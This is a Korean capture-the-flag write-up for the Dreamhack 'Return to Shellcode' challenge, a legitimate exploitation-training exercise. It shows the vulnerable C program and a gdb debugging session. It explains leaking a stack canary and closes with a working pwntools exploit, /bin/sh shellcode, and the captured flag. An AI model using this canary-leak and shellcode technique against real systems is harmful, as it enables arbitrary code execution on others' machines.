[dreamhack] Return to Shellcode writeup

1. 문제

thumbnail
Return to Shellcode

Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/352

2. 풀이

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

먼저 buf의 주소와 buf$rbp의 거리를 알려준다. 그뒤 canary leak을 위해서 입력을 하고, 리턴 주소를 덮을 기회를 준다.


canarybof 공격을 보호하기 위해 스택 마지막 부분, 리턴주소와 sfp 이전에 존재하는 임의의 8바이트짜리 랜덤값이다. (32비트에서는 4바이트)

그러면 canary를 어떻게 leak을 하느냐이다. 코드를 보면 %s로 입력한 내용을 출력해주기 때문에, null 문자가 나올 때까지 출력해줄 것이다. 이를 이용해서 buf 변수를 꽉채우면 canary를 모두 출력할 수 있을 것이다. 그런데 중요한 것은 canary는 일반적으로 이러한 leak을 방지하기 위해서(?) null이 마지막 1 또는 2바이트를 차지하게 된다. 예를 들면 0x7e179e56f4221c00 이런식….

gdb를 보면 canaryrbp-0x8위치에 있고, bufrbp-0x60에 위치한다.

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000000008cd <+0>:	push   rbp
   0x00000000000008ce <+1>:	mov    rbp,rsp
   0x00000000000008d1 <+4>:	sub    rsp,0x60
   0x00000000000008d5 <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000000008de <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000000008e2 <+21>:	xor    eax,eax
   0x00000000000008e4 <+23>:	mov    eax,0x0
   0x00000000000008e9 <+28>:	call   0x88a <init>
   0x00000000000008ee <+33>:	lea    rax,[rbp-0x60]
   0x00000000000008f2 <+37>:	mov    rsi,rax
   0x00000000000008f5 <+40>:	lea    rdi,[rip+0x16c]        # 0xa68
   0x00000000000008fc <+47>:	mov    eax,0x0
   0x0000000000000901 <+52>:	call   0x720 <printf@plt>
   0x0000000000000906 <+57>:	mov    rax,rbp
   0x0000000000000909 <+60>:	mov    rdx,rax
   0x000000000000090c <+63>:	lea    rax,[rbp-0x60]
   0x0000000000000910 <+67>:	sub    rdx,rax
   0x0000000000000913 <+70>:	mov    rax,rdx
   0x0000000000000916 <+73>:	mov    rsi,rax
   0x0000000000000919 <+76>:	lea    rdi,[rip+0x160]        # 0xa80
   0x0000000000000920 <+83>:	mov    eax,0x0
   0x0000000000000925 <+88>:	call   0x720 <printf@plt>
   0x000000000000092a <+93>:	lea    rdi,[rip+0x173]        # 0xaa4
   0x0000000000000931 <+100>:	call   0x700 <puts@plt>
   0x0000000000000936 <+105>:	lea    rdi,[rip+0x17b]        # 0xab8
   0x000000000000093d <+112>:	mov    eax,0x0
   0x0000000000000942 <+117>:	call   0x720 <printf@plt>
   0x0000000000000947 <+122>:	mov    rax,QWORD PTR [rip+0x2006c2]        # 0x201010 <stdout@@GLIBC_2.2.5>
   0x000000000000094e <+129>:	mov    rdi,rax
   0x0000000000000951 <+132>:	call   0x750 <fflush@plt>
   0x0000000000000956 <+137>:	lea    rax,[rbp-0x60]
   0x000000000000095a <+141>:	mov    edx,0x100
   0x000000000000095f <+146>:	mov    rsi,rax
   0x0000000000000962 <+149>:	mov    edi,0x0
   0x0000000000000967 <+154>:	call   0x730 <read@plt>
   0x000000000000096c <+159>:	lea    rax,[rbp-0x60]
   0x0000000000000970 <+163>:	mov    rsi,rax
   0x0000000000000973 <+166>:	lea    rdi,[rip+0x146]        # 0xac0
   0x000000000000097a <+173>:	mov    eax,0x0
   0x000000000000097f <+178>:	call   0x720 <printf@plt>
   0x0000000000000984 <+183>:	lea    rdi,[rip+0x14d]        # 0xad8
   0x000000000000098b <+190>:	call   0x700 <puts@plt>
   0x0000000000000990 <+195>:	lea    rdi,[rip+0x121]        # 0xab8
   0x0000000000000997 <+202>:	mov    eax,0x0
   0x000000000000099c <+207>:	call   0x720 <printf@plt>
   0x00000000000009a1 <+212>:	mov    rax,QWORD PTR [rip+0x200668]        # 0x201010 <stdout@@GLIBC_2.2.5>
   0x00000000000009a8 <+219>:	mov    rdi,rax
   0x00000000000009ab <+222>:	call   0x750 <fflush@plt>
   0x00000000000009b0 <+227>:	lea    rax,[rbp-0x60]
   0x00000000000009b4 <+231>:	mov    rdi,rax
   0x00000000000009b7 <+234>:	mov    eax,0x0
   0x00000000000009bc <+239>:	call   0x740 <gets@plt>
   0x00000000000009c1 <+244>:	mov    eax,0x0
   0x00000000000009c6 <+249>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000000009ca <+253>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000000009d3 <+262>:	je     0x9da <main+269>
   0x00000000000009d5 <+264>:	call   0x710 <__stack_chk_fail@plt>
   0x00000000000009da <+269>:	leave
   0x00000000000009db <+270>:	ret
End of assembler dump.

우선 main+21에 breakpoint를 걸고, rbp-0x8에 어떻게 들어가는지 확인해보자.

pwndbg> b*main+21
Breakpoint 2 at 0x5555554008e2
pwndbg> c
Continuing.

Breakpoint 2, 0x00005555554008e2 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
*RAX  0x67d2b93405fadf00
 RBX  0x7fffffffe2c8 —▸ 0x7fffffffe541 ◂— '/home/ubuntu/dreamhack/level2/Return_to_Shellcode/r2s'
 RCX  0x5555554009e0 (__libc_csu_init) ◂— push r15
 RDX  0x7fffffffe2d8 —▸ 0x7fffffffe577 ◂— 'SHELL=/bin/bash'
 RDI  1
 RSI  0x7fffffffe2c8 —▸ 0x7fffffffe541 ◂— '/home/ubuntu/dreamhack/level2/Return_to_Shellcode/r2s'
 R8   0x555555400a50 (__libc_csu_fini) ◂— repz ret 
 R9   0x7ffff7fca380 (_dl_fini) ◂— endbr64 
 R10  0x7fffffffdec0 ◂— 0x800000
 R11  0x203
 R12  1
 R13  0
 R14  0
 R15  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555400000 ◂— jg 0x555555400047
*RBP  0x7fffffffe1a0 —▸ 0x7fffffffe240 —▸ 0x7fffffffe2a0 ◂— 0
*RSP  0x7fffffffe140 ◂— 0x100000017
*RIP  0x5555554008e2 (main+21) ◂— xor eax, eax
───────────────────────────────────[ DISASM / x86-64 / set emulate off ]───────────────────────────────────
b+ 0x5555554008cd <main>       push   rbp
   0x5555554008ce <main+1>     mov    rbp, rsp
   0x5555554008d1 <main+4>     sub    rsp, 0x60
   0x5555554008d5 <main+8>     mov    rax, qword ptr fs:[0x28]     RAX, [0x7ffff7fb2768]
   0x5555554008de <main+17>    mov    qword ptr [rbp - 8], rax
 ► 0x5555554008e2 <main+21>    xor    eax, eax                     EAX => 0
   0x5555554008e4 <main+23>    mov    eax, 0                       EAX => 0
   0x5555554008e9 <main+28>    call   init                        <init>
 
   0x5555554008ee <main+33>    lea    rax, [rbp - 0x60]
   0x5555554008f2 <main+37>    mov    rsi, rax
   0x5555554008f5 <main+40>    lea    rdi, [rip + 0x16c]     RDI => 0x555555400a68 ◂— jb 0x555555400ad2 /* 'Address of the buf: %p\n' */
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe140 ◂— 0x100000017
01:0008│-058 0x7fffffffe148 ◂— 0
... ↓        6 skipped
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
 ► 0   0x5555554008e2 main+21
   1   0x7ffff7c2a1ca __libc_start_call_main+122
   2   0x7ffff7c2a28b __libc_start_main+139
   3   0x5555554007aa _start+42
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx $rbp-8
0x7fffffffe198:	0x67d2b93405fadf00	0x00007fffffffe240
0x7fffffffe1a8:	0x00007ffff7c2a1ca	0x00007fffffffe1f0
0x7fffffffe1b8:	0x00007fffffffe2c8	0x0000000155400040
0x7fffffffe1c8:	0x00005555554008cd	0x00007fffffffe2c8
0x7fffffffe1d8:	0xb06b2ab07b2a81a3	0x0000000000000001

마지막을 보면 0x67d2b93405fadf00이라는 값을 확인할 수 있고, 예상되는 널바이트는 하나이다. 따라서 0x60 - 0x80x58바이트에 1바이트를 더한 0x59바이트를 buf에 입력해주면 그다음 나오는 7바이트가 canary가 될 것이다.

checksec을 확인해보면 스택에서 코드를 실행시킬 수 있으므로, buf위치에 shellcode를 넣고 리턴주소를 buf주소로 덮어주면 쉘이 실행될 것이다.

정리한 최종 exploit은 아래와 같다.

from pwn import *

#p = process("./r2s")
p = remote("host3.dreamhack.games", 15296)

tmp = p.recvuntil("Input: ")
buf_addr = int(tmp.split()[4].decode(), 16)
print(buf_addr)

p.send(b"a" * 88 + b'b')

tmp = p.recvuntil(b'b')
canary = u64(b"\x00" + p.recv(7))

print(hex(canary))

shellcode = b'\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'

p.recvuntil("Input: ")

payload = b'\x90' * 8
payload += shellcode
payload += b'\x90' * (88 - 8 - len(shellcode))
payload += p64(canary)
payload += b"a" * 8
payload += p64(buf_addr)

p.send(payload)
sleep(1)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/Return_to_Shellcode$ python3 e_r2s.py 
[+] Opening connection to host3.dreamhack.games on port 15296: Done
/home/ubuntu/dreamhack/level2/Return_to_Shellcode/e_r2s.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  tmp = p.recvuntil("Input: ")
140733860162336
0xc33ba365fc5faa00
/home/ubuntu/dreamhack/level2/Return_to_Shellcode/e_r2s.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Input: ")
[*] Switching to interactive mode
$ id
$ cat flag
DH{333eb89c9d2615dd8942ece08c1d34d5}

해결~